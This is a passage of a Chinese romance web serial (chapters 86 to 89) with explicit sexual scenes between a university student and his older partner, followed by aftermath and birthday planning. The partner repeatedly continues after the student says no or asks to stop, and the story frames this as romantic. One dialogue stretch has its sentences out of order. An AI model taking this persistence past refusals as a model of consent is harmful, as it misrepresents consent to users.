“为什么?”傅司珩耐心地询问着。 陶稚:“这是女生的衣服…… “你经常穿女装。”傅司珩提醒他。 远的不说,就在几个小时之前,陶稚还穿着一条火辣的小黑裙拍照拍视频。女装对他来说应该是十分熟悉了。 这不能作为借口。 但陶稚显然不这样想。 “这不一样。”他认真地纠正傅司珩。 傅司珩:“哪里不一样?” 陶稚:“哪里都不一样啊。” 这段对话来来回回,好像有点奇怪,陶稚只好告诉他:“真的不穿。” 顿了顿。 “布料太少了。”一时心软,他还是告诉了傅司珩自己真实的想法。 比基尼的设计,对保守的女生来说都是不小的挑战,更何况陶稚这种保守又害羞的男生了。 “而且胸口的位置,撑不起来的呀,穿上去不好看。”“泳裤的布料也好薄,就那么一小片 根本就包不住。 这不仅仅只是女装的问题了。 陶稚把自己的顾虑,小声的,害羞的,全部告诉了傅司珩。他觉得傅司珩是个讲道理的人,好好跟他说,傅司珩肯定会听。“原来是这样。”傅司珩听完,若有所思地点头。“我明白了。”“嗯嗯嗯。”陶稚连连点头。果然他没有看错傅司珩—“那布料多就没问题了吧。”傅司珩忽然话锋一转。 陶稚:“啊?” 他懵了懵,下意识地:“理论上来说……”好像是?他不穿的原因就是布料太少了。如果布料多的话,他不一定会拒绝。 但是,傅司珩应该不会突然之间就把泳装的布料给变多吧?陶稚微微仰着脸,看向傅司珩,迟疑地点了下脑袋。“好。”傅司珩牵着陶稚的手,将那件比基尼放回到衣柜里。陶稚觉得这件小插曲应该是结束了,接下来可以收拾衣服了,但忽然,傅司珩又拨开旁边的两件衣服,拿出了一件连体泳装。陶稚愣住。浅粉色的深V吊带连体泳衣,设计简约却又不失性感,腰侧的系带是同色的蝴蝶结装饰,增加了灵动与甜美。看着傅司珩从衣柜里拿出这件衣服,陶稚有点懵。他呆呆地转头看着傅司珩。“这件连体的布料就不少了。”傅司珩说。陶稚:…. 傅司珩低头,亲了一下他的鼻尖:“换上看看吧,宝宝。““求求你了,真的很想看。” 傅司珩在“说服”陶稚这件事上很有一套。比基尼露,那就穿连体泳装。觉得连体泳装还是有点奇怪,傅司珩又跟陶稚说,其实男士泳装也有设计连体款的,这并不是女士专用。 傅司珩说得有理有据,还给陶稚看了图片,好像真的跟他说的一样…… 陶稚耳根子软,最受不了别人磨他,最后糊里糊涂地就答应了。 他在衣帽间里换衣服,傅司珩关上门,在外面等他。 傅司珩离开之后,陶稚磨蹭了很久。 有点怀疑又有点相信,犹犹豫豫又磨磨蹭蹭地把衣服穿上。 陶稚的皮肤很白,浅粉色很衬他。深V的领口一直大胆地开到胸口的位置,性感的同时,也完美地展现了肩颈以及锁骨的线条。 陶稚穿上去很漂亮,压根就没有他说的奇怪的感觉。 腰间自然堆叠的布料连接着蝴蝶结的绑带配饰,绑得紧了,就连肚脐眼的形状都能看见。 陶稚换好之后,面对着镜子看到这里,头皮都有些发麻,又连忙拆下绑带,重新系松了点 年轻男生的漂亮身体,被这件女士连体泳装包裹着。 …可陶稚还是怎么看怎么不对劲。 他觉得比基尼的布料很少,说什么都不愿意穿,傅司珩退而求次让他穿连体泳衣,但连体泳衣布料也没有很多啊。 上半身正面是深V,一直开到胸口下方。 背后也是镂空。 腰间的布料倒是没有缺少,可也就只有那么一点点……陶稚两条细白的腿,全部露在外面。 这布料根本就不多……陶稚心想。 穿成这样,他根本就没有办法出去。 傅司珩是个坏蛋,大坏蛋,专门欺负老实大学生的大坏蛋。 陶稚心里对傅司珩不满,脑袋却诚实地在衣帽间里打转,最后决定穿着傅司珩的衬衫出去。 他随手挑了一件白色的衬衫,穿好后,忐忑地打开门。 傅司珩坐在主卧的沙发上,正好面对着衣帽间的方向。 陶稚一开门,他就看见了。 傅司珩体型大,190+的身高,穿的衣服自然也大。 他刚好合身的衬衫,穿在陶稚的身上,却是松松垮垮地挂在肩头,手臂都伸不直,再加上扣子没有全部系上,一大片瓷白的皮肤露在外面,肩头圆润可爱。 陶稚意识到了,又连忙把衣服提回去,抬着手,将自己的手掌露了出来。 穿这样的衣服,上半身辛苦了点,但好在下半身有够长,能够遮到大腿。 陶稚觉得这样应该就行了,他在穿上衬衫后压根就没有照过镜子,不知道白色的衬衫下面,隐隐约约可以窥见雪白的皮肤和淡粉色的泳装,更具有…另外一种感觉。 傅司珩看到他这样,眼神沉了沉。 他没动,只有粗重的呼吸在这个安静的房间里响起。 陶稚走到他的面前,想假装看不懂他的表情,眼神略微有些飘忽,磕磕绊绊地开口:“.…有点奇怪。” 指他穿上的衣服。 傅司珩问:“哪里奇怪了?” 陶稚又结结巴巴地说不上来。 接着,他的手被傅司珩牵住。 其实陶稚刚刚出来的时候,傅司珩靠着沙发背坐着,双腿交叠,是很惬意的坐姿。 但陶稚一出来,他的腿就放下来了。 现在他牵着陶稚的手,十指相扣,拉着他坐在自己的腿上,单手抬着他的下巴吻他。 傅司珩的吻一向激烈,吸得他舌根都发麻,恨不得吻到把人直接吃进去算了,凶猛得像一头野兽。 陶稚坐在他的怀里,被亲到努力呼吸,又听到傅司珩问他:“宝宝,你是故意的吗?” “.…嗯?”陶稚不明白他在说什么,睁开眼:“什么故意的……?” 被含着嘴唇,说话都十分艰难,陶稚错开脸,终于能缓一会儿了,长长地舒了一口气。 傅司珩见他这样,没有再把他掰回去继续亲,而是双手掐在他的腰上,指腹隔着衬衣揉着他的腰窝。 想了快半年的泳装,现在就穿在陶稚的身上,傅司珩反倒不着急了。 他透过隐约的轮廓,依旧用想象描绘着陶稚穿着泳装的身体,一点儿都不着急将他身上的衬衫全部剥下来好好看看。 “差、差不多可以了吧。”陶稚觉得他已经穿给傅司珩看过了,傅司珩应该放开他了……陶稚双手推了推傅司珩的肩膀。 他刚刚被亲到呼吸困难现在整张脸都是红的,艳若桃花,嫩得能掐出水来。 不像拒绝,倒像是调.情。 所以傅司珩没有松开他。 傅司珩的手从衬衫的衣摆处伸进去,手指碰到泳衣的布料,陶稚顿时身体变得僵硬。 手指从腰间开始游走,碰到细腻雪白的后背,圆润的肩头,细细的胳膊,最后再到小腹处,停留了几秒后,傅司珩的手指拨开包裹着臂部的布料。 很轻易地就伸了进去,随即感受到陶稚身体的紧绷。 “宝宝,放松点。”傅司珩语气轻柔地对他说。 “这、这怎么放轻松啊。”陶稚颤抖着声音问他。 声音抖着,睫毛也跟着颤抖得厉害,身体也是,浑身上下哪儿都不舒适:“你快拿出来……. 傅司珩又不说话了。 他吻着陶稚的额头,眼睫毛,和小巧精致的鼻尖。 吻得很轻,似乎是安抚。 陶稚无声地张了张嘴。 他的身体对傅司珩的碰触已经很熟悉了,男人粗粝的手指让他背脊挺得很直,又有些焦躁不安地蹭着傅司珩的膝盖挪动,似乎想要躲开。 没能成功躲开,反而还被冰凉的液体激得身体更加紧绷了。 到底是什么时候…. 傅司珩在给他做这些事的时候,一直在亲吻安抚。吻到了他的耳廓,黏腻的水声,都分不清是从哪里发出来的。 “宝宝,你好可爱,我想舔你。”傅司珩在他耳边说 … 简单的一句话,让陶稚回忆起上周的事情。 那是一段十分羞耻的回忆。比在洗手台上的那次还要羞耻。 陶稚猛烈地摇头;“不、不舔。” “真的不舔?”傅司珩跟他确认。 陶稚又猛猛点头,生怕速度慢了会被拒绝。 “很可惜。”傅司珩说。 但他没有勉强。 傅司珩顺着耳垂向下,唇齿包裹着陶稚可爱的左边脸颊,又从颊侧吻到下巴,脖颈。 他低着头,咬开陶稚衬衫的纽扣。 在这么紧张的时刻,傅司珩还有空和陶稚聊天:“这以后会成为我最喜欢的一件衬衣,宝宝,别弄脏了。” 话音刚落,衬衫骤然被浸湿了。 很突然。 陶稚都愣住了。 因为紧张,他的身体一直都是紧绷着的,下意识地用力,但刚刚,忽然傅司珩的指腹用力,就这么很突然的,身体骤然一松。 整个衣服下摆都湿淋淋的。水液顺着大腿滴在地上。 “啪嗒”一声,落在地面上 …不是我。”陶稚回过神,不仅脑袋晕,眼前也是晕乎乎的一片。 强烈的羞耻感笼罩着他,让他无法面对。 这是他生平第一次甩锅,抽噎着,几乎崩溃:“是你弄脏的。” 傅司珩又笑了。 哪里来的可爱宝贝。 “没关系,洗干净了也可以穿。”傅司珩低声地,附在他耳边说:“但是怎么办,以后我只要穿上这件衣服,就都忍不住想起…”. “你、你别说了…….”陶稚哭了。 他的双手撑在傅司珩的肩膀上,手脚一起收紧,声音出现了明显的颤音。 实在受不了了,傅司珩的手还在动,陶稚觉得自己的身体软到提不起劲来,只好搂住了傅司珩的脖子,掩耳盗铃似地埋住自己的脸。 “.…不能继续了。”陶稚有点累了,想睡觉。 傅司珩嘴上答应,实际上并未松手,还将泳衣又拉开了点。 湿淋淋的衣服贴在腿上很不舒服,但傅司珩不让他脱掉。 陶稚难耐地,额头蹭着傅司珩的肩膀。 他想问傅司珩还要多久,傅司珩这时却将他微微向上抬了抬。 熟悉的动作,让他瞬间清醒,再回想起之前想舔的话,陶稚瞬间恢复了精神:“不、不行。” “不行?”傅司珩看向他。 “不能舔。”陶稚着急了:“谁知道是什么成分做的,不能、不能……. 傅司珩这人怎么这样啊! 他怎么什么都吃!!! 上周就是这样的。 在床上,傅司珩说要舔他,陶稚以为跟洗手台上的那次一样,结果………傅司珩这个人没有下限的,他全部都吞了下去。 当时陶稚也是不敢面对,可是在傅司珩的床上……莫名其妙地就…… 今天不一样。 今天真的不行。 上次他没有用润滑,今天用了,谁知道是什么成分做的,有没有毒,能不能吃。 陶稚为傅司珩着想,急得满头大汗,想要从他身上下来,傅司珩却全然不当回事。 身前的衣摆随着陶稚的动作晃荡,蹭到傅司珩的鼻尖。 “我不要。”陶稚摇头。 傅司珩不紧不慢地问他:“不要什么?” …不要。” 咽了咽口水,陶稚艰难地说出口:“不要坐在你脸上。” 傅司珩挑了下眉。 “听到了,不要。”嘴上这么说,实际上依旧抬着陶稚的臀。 就在陶稚着急的时候,傅司珩松了手。 陶稚重新坐回到了傅司珩的膝上。 一瞬间,他的表情凝固在脸上。 “好,小稚,都听你的。”老男人恬不知耻 …. 87、丢脸 陶稚的表情凝滞在脸上,无声地张了张嘴。 好突然。 为什么傅司珩每次都这么突然? 陶稚放在他肩膀上的手指,慢慢地蜷起,眼里不仅有惊讶,还有慌张和不知所措。 他很茫然,不知道接下来该怎么办,他的身体比刚刚还要僵硬,动都不敢动一下。 陶稚现在坐在傅司珩的膝盖上,细白的两条腿曲着,放在沙发上。 他身上的衣服完好,顶多就只被傅司珩咬开了两颗纽扣,露出一半白皙的胸口和圆润的肩膀。除此之外,从外表看上去,没有异常。 傅司珩身上的衣服也是完好的,一丝不苟,整洁干净。 只是西装裤上,陶稚坐着的地方,膝盖上方,是被浸湿了的深色。 可因为被陶稚坐着,也不算明显。 这个时候,哪怕有人闯进来,看见他俩现在的样子,都不会想歪。 可是事实并不是如此。 傅司珩按着陶稚的腰,把他钉在自己的腿上。 “痛吗?”傅司珩的右手从陶稚腰间挪开,轻柔地抚摸着他的背脊。 粗粝的手指激起一阵战栗,陶稚这才好似回过神来。 他呆呆地看着傅司珩,没有说话。 不痛的。 傅司珩足够耐心,在陶稚坐下去之前,他就已经在尽量让他适应自己了,而刚刚的动作,虽然说很突然,但并不鲁莽。 陶稚没有受伤。 但他依旧觉得难受。 肚子很胀,胀到他不敢伸手去自己去摸摸自己的肚子,感受下到底是怎么回事,衣服还变得更湿了,不管是他的,还是傅司珩的。 傅司珩的西装裤,从大腿到膝盖,几乎全湿了,深色的痕迹异常明显。 这全部都来源于傅司珩刚刚的行为。 几分钟前明明刚经历过一次,傅司珩手指在他身上乱按,指腹磨得他崩溃尖叫想哭。 他连手指都受不了。 傅司珩现在却又换成了比手指还要过分一百倍的东西,猛地碾进去,让这次的感觉比刚刚更加强烈可怕。 还没有开始,就已经两次了。 陶稚甚至可以称得上一句天赋异禀。 他此刻头脑一片空白,他撑在傅司珩的肩膀上,听到他的声音后,湿润的睫毛抖了抖。陶稚直喘气,一句话都说不出来。 傅司珩这个时候还好死不死地动了一下膝盖。 “别—“ 细弱微小的,颤抖的恳求声音。 “别动了。”陶稚喘着气说。 真的,真的不能再动了。要死掉了。 真的。 傅司珩:“.… 傅司珩现在也很难受。 他头皮发麻,既难受,又觉得不够,两秒后,深呼吸了一口气,哑着嗓子回了句嗯。 陶稚这时回头看了眼。 他终于有勇气回头了,虽然什么都没有看见,但他是见过的,脑海里很自然地就回想了起来。 在此之前他一直觉得,这么大,自己肯定不行,对这种事有点害怕。可是傅司珩就这么很突兀地闯了进来,陶稚都不知道他竟然有这么大的能耐。 全部的,到了底。 而且还是坐在傅司珩身上这样的姿势。 好深啊。 深得他心脏砰砰直跳,慌乱得要命。 陶稚喘着气,稍微有点缓过来了一点,又转回脑袋,尝试着站起来。 他的腿动了动,刚有个动作,傅司珩就开口问他:“好了?” 陶稚:…. 陶稚想骗人。 第一次他第一次想要骗人。 他想说自己没有好,让傅司珩赶紧放开他。 可是还没有开口说话,傅司珩就已经有了自己的判断。 他抱着陶稚站起身,陶稚又被他吓了一跳,尖叫着去抱他的脖子,大声喊着老男人的名字:“傅司珩!” 傅司珩沙哑着嗓子嗯了声:“换个地方。” 虽然他真的很喜欢让陶稚坐在他的腿上,但这样的姿势,他怕陶稚会受不了。 他抱着陶稚,将他放在了床上。 在这过程中,他双臂托着陶稚的臀,连这几秒的时间都不愿意松开。 陶稚的后背蹭在柔软的的床单上,他下意识抬头,傅司珩双臂撑在他的身侧,覆下来的阴影将他笼罩,他喘着气,面色隐忍,额头隐隐有汗珠渗出。 陶稚愣住。 下一秒,他的瞳孔骤然收紧。 陶稚的指甲紧紧地陷进傅司珩紧绷着的手臂肌肉里,隆起的可怖弧度竟然也让他掐进去了,很深的,一片月牙的指甲印,以及,小麦色的皮肤上抓痕明显。 陶稚身上松垮挂着的衬衫,在中途终于被脱了下来,但泳装却还依旧穿着。 傅司珩将陶稚翻过来,伸手又将泳衣的布料往旁边拉了拉。 他就是不脱下来,觉得碍事也只是将布料往旁边扯。 这到底是什么糟糕的癖好啊。 陶稚趴在床上,发誓自己以后再也不会穿泳装了,双手又紧紧抓着身下的床单。 他适应得很快,而且特别的乖巧,傅司珩怎么摆弄他,他都不反抗。但是再怎么乖巧,对于索求无度也有些招架不住。 尤其,今天在正式进入主题之前,他就已经有过两次……真的好累啊,而且很困。 陶稚觉得他的身体都不是他的了。他现在是一具被傅司珩摆弄到没有任何生气的木偶。 然而小木偶在第三次听到塑料响起的声音,到底没绷住。他的睫毛猛地抖了抖,睁开眼,回头:“不要了… “嗯?”几秒后,傅司珩的身体再度倾覆下来。 陶稚的手指抓着床单:……我要回学校了。” “晚点我送你回去。”傅司珩的手掌覆住陶稚的手,接着与他十指相扣。 陶稚发出一声闷哼。他尝试着往旁边挪挪,却被傅司珩无情地抓回来。 “最后一次了。”傅司珩在他耳边说话,沉重的呼吸声传进耳膜,痒得要命。 陶稚的手指抓得更紧了。 “我保证。”傅司珩说。 再次醒来的时候,是晚上九点。 什么时候睡过去的陶稚压根不知道,睡着之前发生的事情也忘了个干净,头脑一片空白,只记得他浑身湿得不舒服。 很难受,想去洗澡。 傅司珩说待会儿带他去。 然后他就失去记忆了。 醒来后的第一件事,陶稚去摸自己的腿。 睡前还泥泞不堪的下.身在醒来后变得清清爽爽,衣服也换成了纯棉的睡衣。 下午时发生的一切仿佛只是做了个冗长的梦。 陶稚在一片寂静中睁开眼,望着天花板发了几分钟的呆,随后脑袋往旁边转转,看见了傅司珩放在枕头边的手机。 他的脸枕在枕头上,埋头蹭了好一会儿清醒,伸手去拿手机看时间—— 晚上九点。 啊??? 这就九点了? 这么快?! 他下午过来的时候不是才三点吗? 陶稚愣了好几秒,匆匆忙忙地起身。 傅司珩这时推门进来。 他同样换上了睡衣,黑色的带子松垮地系在腰间,露出老男人引以为傲的大块胸肌。 见到陶稚的动作,他微怔:“怎么了?” “我要回学校了。”陶稚去穿鞋子,着急地往衣帽间跑。 他的衣服还脱在衣帽间,现在赶回去时间应该是来得及的。重要的是现在就要赶回去。 陶稚刚下床,腿一软—— 眼看着要摔了,他被傅司珩捞进了怀里。 傅司珩抱着他横坐在自己腿上,顺手拿起床头柜上放着的蜂蜜水:“嘴都干了,喝点水。” 陶稚乖乖喝了,还不忘自己的目的:“换衣服。” “不换衣服。”傅司珩拒绝他。 “?” 好果断的拒绝,陶稚都懵了,呆呆地侧头,眼神里写着为什么。 “现在赶不及回宿舍了。”傅司珩说。 “我和宿管阿姨求求情。”他们这栋楼的宿管阿姨人还挺好的,只要不是回去得太晚,关寝的一个小时之内,她基本上都会放行,就是会念叨几句而已。 陶稚不怕念叨。 他挣扎着要从傅司珩的腿上起来,却被傅司珩抱得更紧。 “宝宝,不缺这一节课,好好休息一晚上?”傅司珩不想他走,像哄小孩子一样地哄着他:“你还没有吃晚饭。” “喝点粥好吗?”傅司珩说。 是哦。 傅司珩这么一说,陶稚确实感觉自己的肚子空空的。 他迟疑了一秒,但也仅仅只是一秒而已。 “不行。”他不想缺课,早上的话他怕自己起不来。 平时他是不怕,但是这次有点担心。 傅司珩都说出了不缺这一节课的话来了,万一明天早上,他看自己睡得沉,不叫醒怎么办?还是回宿舍比较安心点。 结果刚说完不行,陶稚的肚子咕噜咕噜地响起,特别明显。 陶稚: 好、好丢脸啊。 陶稚把自己往傅司珩的怀里埋了埋。 “我就说你饿了。”傅司珩倒是表现得十分淡定。 上次吃东西还是中午,下午经历了剧烈的运动,不饿才怪。 傅司珩抱着陶稚起身。 至少得吃完饭再回去。 虽然一点也不想陶稚回去,但陶稚要求也没有办法。实在想走的话,傅司珩只能跟他一块了。 大不了住在他们学校门口的酒店。 今天晚上他是不可能和陶稚分开的。 今天的意义很不一样。 傅司珩不想当三十岁的孤寡老男人。 今天就应该搂着老婆睡觉。 谁也阻止不了他。 他抱着陶稚往门口走去,陶稚却误会了傅司珩的意思。 以为今晚回学校泡汤了,陶稚心下一凉,下巴搁在傅司珩的肩膀上,抬手对着衣帽间的方向,感觉自己要失去了什么重要的东西。 他伸手想拿的绝不会是衣服。 而是— “我的……奖学金。” 傅司珩:… 6。 奖学金也不缺这一节课吧? 88、高兴... 陶稚被傅司珩抱着去餐厅吃饭,整个过程中,他的脑袋就没有转回去过,趴在傅司珩的肩膀上,手也没有放下,眼巴巴,可怜兮兮地看着衣帽间的方向越来越远,心里一片悲凉。 一直到被傅司珩放在餐桌的椅子上,陶稚的脑袋才终于依依不舍的,看向面前的餐桌。 傅司珩有点被气笑了,把他放下之前没忍住咬了下他的鼻子。 “唔。” 陶稚发出声音。 不痛,就是被吓了一跳。陶稚眨眨眼。 傅司珩问道:“奖学金就这么重要吗?” “重要啊。”陶稚点点头,回答得毫不犹豫。 傅司珩今天熬的是鸡肉粥,陶稚喜欢吃带点儿咸味的东西,还有些配餐的清淡小菜,全部都是按照陶稚口味做的。 面前已经放好了一碗,刚从砂锅里盛出来,有点儿烫,陶稚吹了吹。 要拿奖学金是他入学时就决定好了的,哪怕去年他还在给傅铮当跟班小弟,猛猛赚着傅铮的钱,都没有放弃过这个决定,要不然期末那会儿,怎么会把傅铮和傅司珩同时忽略到两人都因此不满。 还有,去年傅铮那么多事要他做,麻烦得要命,他都没有缺过课。这次也不能缺。 明天早点起床就好了。 陶稚喝粥的间隙之中,悄悄抬眼,看了看傅司珩。 傅司珩坐在他的对面,陪着他一起喝粥。 傅司珩的手艺是越来越好了,鸡肉煮得软烂,很容易下口。除了鸡肉之外,他还放了些香菇丁,胡萝卜和山药。 陶稚觉得很好喝,再加上饿了,很快没了小半碗。 肚子里的饥饿感稍微有所缓解,陶稚尝试着开口问傅司珩:“吃完饭,你会送我回去的吧?” “明天早上我怕自己起不来。” 其实起得来。 只要有人喊他,或者定了闹钟就能起来,但是他不太相信傅司珩。 “真的想回去?”傅司珩问他。 在他眼里,逃个一节课实在算不了什么,他大学的时候也没少逃,傅铮更是跟家常便饭似的,上课才稀奇。 但既然陶稚不愿意,那就另当别论了。 虽然老男人因此心里有点酸溜溜的。 他现在已经不是在吃人的醋了。 奖学金的醋也吃,专业课的醋也吃。 偏偏陶稚毫无意识,还在那儿点头,点得特别认真。 傅司珩更酸了。他试图和陶稚讲道理:“缺一节课是不会耽误奖学金,陶稚,你这样对我非常不负责任。” “啊?”陶稚懵了懵。 这是什么说法? 好严重的指控。 怎么就不负责了? 陶稚指指自己:“我?” 我不责任吗? 我吗……? 陶稚的眼神清澈又茫然。 老男人不要脸地点头:“你这样把我丢下一个人,算不算渣男?玩弄我的感情?” 陶稚:“???” 这都是什么跟什么啊! 怎么他还成渣男了。 明明、明明他才是被……那个的人啊! 还怪上他了! 傅司珩真的很不要脸。 并且他还在持续不要脸:“算不算拔——” 呜。傅司珩真讨厌。是傅司珩的错。他才不是渣男。傅司珩沉吟片刻。陶稚:“?”???!傅司珩这个坏蛋。“才不是我…….坐进去的。 “才没有!”很容易害羞的年轻大学生,在傅司珩说出第一个字的时候,就猜到了他接下来要说的话。他的脸倏地一下就红了,大声的,很没有礼貌地打断了傅司珩,结结巴巴,磕磕绊绊地否认:“拔、拔的那个人是你才对吧………话说完,自己绷不住了。 脚趾又开始工作了。 听到他这句话的傅司珩倒是挑了下眉。 ……然后小腿就被踹了下。 小兔子被惹急了,也是会咬人的。 “我才没有。”陶稚握紧了拳头否认。 “哦。”傅司珩不置可否。 他这样的反应,让陶稚忍不住想要继续为自己辩解。明明这都是傅司珩的错,傅司珩还说他,很过分。 “是你自己选的时间不好。”就算是只有他和傅司珩两个人在,讨论这种事,依旧让他觉得不好意思。 陶稚很害羞,但努力说出了出来,不背这口“渣男”的锅:“你没有告诉我今天要……要做。” “你应该挑个更好的时间,提前跟我说。” 对,没错,就是这样。 “.…_如果时间是周五或者周六,就不会有这种事发生了。”因为害羞,陶稚说话的声音很小,但却意外地条理清晰,反击了回去。 “那如果我说,我没想过你会坐进来,你信吗?” 陶稚才不相信这种鬼话。 他真的很坏,很过分。 陶稚吃完饭后抱着枕头坐在沙发上,大半张脸都埋进了枕头里,一瞬不瞬地看着傅司珩。——他想好好和傅司珩掰扯这件事,但因为这个话题太过于敏感和害羞,陶稚只能选择这样的办法。 蒙着大半张脸,和傅司珩讲道理。 “待会透不过气了。”傅司珩想把枕头抽出来,但陶稚握得很紧。 “你就是故意的。”陶稚闷声闷气地指责。 听到这话的傅司珩很想笑,但他忍住了。 他伸手把陶稚捞进怀里,枕头顺便也被他扔开了。 里面是一颗已经成熟了的红艳艳小桃子。 “好吧,我承认了,我是故意的。”傅司珩的下巴搁在陶稚的头顶。 柔软的黑发让他下意识地蹭了蹭,想要将陶稚永远这样抱着:“但不是一开始就打算这样做,是手指很舒服,我没忍住,宝宝。” 陶稚:.…… 这算是什么说法? 陶稚的手指蜷了蜷。 “这次是我错了,对不起。”傅司珩跟陶稚道歉。 起初没想做到最后。自从跟陶稚确定了关系后,两人亲密行为确实不少,傅司珩也不是真的不着急,而是陶稚有点害怕。 每次看见都是一脸恐惧的神色。 他觉得太大了,自己肯定做不到,会痛死的,可怜兮兮地看过来,眼神能心疼死人。所以之前,最多最多也只是边缘行为。 傅司珩一直在忍,让他适应自己的尺寸。 昨天陶稚没有害怕。 大概是因为坐姿的原因,加上用手指让他分了神,忽略了熟悉又恐怖的东西。 傅司珩原本是想试试的。 比如一半,又或者是一点也可以。 他没想到会这么顺利地直接坐到底。 陶稚愣住的同时,他也愣住了。 一种直冲天灵盖的感觉涌了上来,让他根本控制不住。 谁特么进去了还能忍住再拔出来? 爽到连自己姓什么都忘了,能有好几分钟不动,让陶稚适应,已经是他能做出的最大自制力了。 他当时也没有考虑太多。 傅司珩:“我不知道你想要奖学金,不想缺课。” 当时觉得就算今天做了也没有关系,晚上好好休息,明天早上逃一节课,下午把他送回学校也没有什么问题。 毕竟哪个大学生并不逃课? “现在知道了。”傅司珩蹭着陶稚的额角:“原谅我吧,宝宝。” 咦。 话题转变得好快。 刚刚还在逗他,这忽然间开始认错。陶稚疑惑地抬起脸。 然后脸颊就被亲了一下。 他侧坐傅司珩的腿上,抬脸时很自然地被亲到了。亲完脸颊又被亲了下嘴,陶稚茫然地看着傅司珩。 “好吧,原谅你了。”善良的大学生不计前嫌。顺便问道:“那你要现在送我去学校吗?” “现在?”傅司珩问。 “嗯嗯嗯。”陶稚点头。因为担心继续住在傅司珩的家里,万一晚上.…… 傅司珩的精力很恐怖的,以前又不是没有发生过这样的事情。前一晚弄到很晚,结果第二天早上又……陶稚深有体会,他可不想耽误明天早上的课。 “行。”傅司珩现在是戴罪之身,现在陶稚跟他提什么要求他都会答应:“去换衣服吧,我送你回去。” 傅司珩担心一个小时的车程陶稚坐得不舒服,下楼之前还特意带了条毯子垫在陶稚的身下。 好在晚上不堵车,傅司珩开快点,提前十五分钟到了目的地。 学校附近基本都是便携酒店,陶稚本来想定个大床房就可以了,但傅司珩给他开了个套间,然后跟他一起住了进去。 陶稚:“?”陶稚迟疑地看向傅司珩:“你也要住在这里吗?”“当然了。”傅司珩回答得十分自然坦荡,仿佛这本该如此。说话的时候,他脱下西装外套,掀开被子:“+一点了,还不睡吗?”陶稚:不懂。但是,陶稚权衡了一下。他现在住在学校外面,就算傅司珩晚上……还想再来一次,时间应该也是来得及的。毕竟隔得近嘛,九点起床都没问题。权衡结束,陶稚犹犹豫豫地换上睡衣上床了。他们都是在家里洗漱了过来的,隔了一个小时,陶稚爬上床时,身上依旧有淡淡的蜜桃香。傅司珩将他搂在怀里。虽然只有三次确实不够,但傅司珩却没有陶稚想得那么禽兽。他只是单纯的,想要抱着陶稚睡觉。想要陶稚在他的怀里而已。“疼吗?”傅司珩问他。“疼的。”陶稚老实回答。肯定会疼的,毕竟是第一次,再怎么适应得好,第一次总是会难受。虽然也有爽到。再加上又坐了四十多分钟的车,他都坐麻了。“抱歉,下次轻点。”傅司珩愧疚。“我还以为你会说,做多了就不疼了。”陶稚挠了挠脸。 傅司珩安静了几秒:“也可以。” ….……陶稚: …睡觉了睡觉。“ 陶稚把脸埋进了傅司珩的怀里。 第二天早上,傅司珩先醒来,打电话订了早餐送来,陶稚起床后去洗漱,从洗手间出来问傅司珩:“我待会就去学校了,你……. “我送你去上课。”傅司珩马上说。 好吧。但是,傅司珩是不是有点太黏人了啊。黏得陶稚都有点招架不来了。虽然在此之前,他就隐隐有这个趋势,但感觉从昨天开始,程度加深了好多。陶稚挠挠鼻尖,干巴巴地应了声。吃完饭后,两人从酒店离开,陶稚先回了一趟宿舍拿书包,两人再一起去教学楼。已经到教学楼下面,不能再上去了。再上去的话,那就不是送老婆上课而是陪老婆上课了。 …… 其实也不是不能陪。 仔细想想,他读大学的时候也挺爱学习的,现在离开学校那么久,想回忆下曾经的感觉也是情有可原? “好了,我走了。”陶稚不知道他在想什么,此刻还蛮开心:“你也去上班吧,拜拜。” 傅司珩:… 傅司珩有点儿不高兴,总感觉缺点什么,他牵着陶稚的手也没有松开。 陶稚疑惑地低头,看了眼,尝试地往回收了收。 傅司珩这才松开。 此时距离上课还有十多分钟。 傅司珩嗯了声。 他淡淡地说。 “哦。”陶稚走了。 走出两步,身后目光如影随形,灼热异常,陶稚:…… 唉。 陶稚微不可闻地叹了一口气。 他又退了回来。 看了看周围,见没有人注意到他,陶稚忽然快速的,走到傅司珩的身前,抬头亲了一口他的下巴。 “傅哥,周末见。” 说完,陶稚一溜烟地跑了个没影。 傅司珩愣在原地。 半晌,他抬手,摸了下陶稚刚刚亲过的地方,唇角慢慢的,扬起了弧度。 …… 这下终于高兴了。 89、纯爱 陶稚说周末见,对傅司珩来说,可不仅仅只需要等待周末就好了。 这次的周末,和前几周的都不一样。 因为这次周末,是陶稚的十九岁生日。 正巧赶上了星期六的时间,傅司珩从五一假期结束后就一直在想这件事。 倒不是说策划生日派对以及生日礼物对他来说有多么的难,而是傅司珩想要陶稚有个快乐的,和往常都不一样的生日。 没能赶上十八岁,那么十九岁,成年后的第一个生日,也具有很特别的意义。 尤其他家这小朋友以前过得确实很苦。 没有过什么正经的生日,往年过生,吃碗长寿面,给点零花钱,自己买点零食吃就算是过生日了,蛋糕都得看情况,买也只买那种巴掌大小的蛋糕还不是年年都有。 更别提开生日派对,和大家一起庆祝了。 虽然陶稚没有明说,但眼神里的向往是提到时都遮不住的艳羡,完了还会有些羞赧地抿抿唇。 这个年龄的小男生,当然也想要收到礼物,想要热闹的生日会。 没经历过的事情总是向往的。 他想要,傅司珩就给他。 只要他开心就行了。 有收到生日礼物时,办派对时的开心。 这种让他知道他被重视的开心。 也想要他不知道的,能够享受到生活中的善意和好运的开心。 以前太难了,现在傅司珩只想他甜一点。 更甜一点。 这些天,傅司珩也一直在办这件事。 周五的下午,傅司珩这边刚签订好一份合同,接到了陶稚的电话。 这个时间,应该是陶稚刚下课半小时左右。 “傅哥!”电话一接通,里面便传来了陶稚兴奋的声音:“我跟你说,我刚刚去学校超市买东西,准备付钱的时候,收银员忽然跟我说,我是他们开店后的第100000顾客,所以今天我免单!“ “你知道我买了多少东西吗?!”陶稚兴奋得要命,在回宿舍的路上一直都按捺着自己激动的心情,直到见宿舍里没人,他才颤抖着手,给傅司珩拨去电话,和他分享着自己的喜悦。 傅司珩也很捧场。 他放下笔,问道:“免单?这么幸运?” “对啊对啊。”陶稚猛猛点头。 傅司珩又问:“买了多少?” “三百多呢!”陶稚掷地有声。 他平时去超市根本花不了这么多钱,今天也是正好去买生活用品,纸巾,洗衣液,牙膏,另外还买了点自己喜欢吃的小零食加上水果。 满当当的东西,陶稚在排队等结账时都还有点儿心痛,觉得自己这次买的东西太多了,有点懊悔。 结果轮到他,桌面上不知道什么玩偶忽然大叫了起来,然后就说他是第100000名顾客,把陶稚吓了一跳,懵了好一会儿。 接着就是免单,陶稚全程没回过神,迷迷糊糊地拍照合影,走出去。 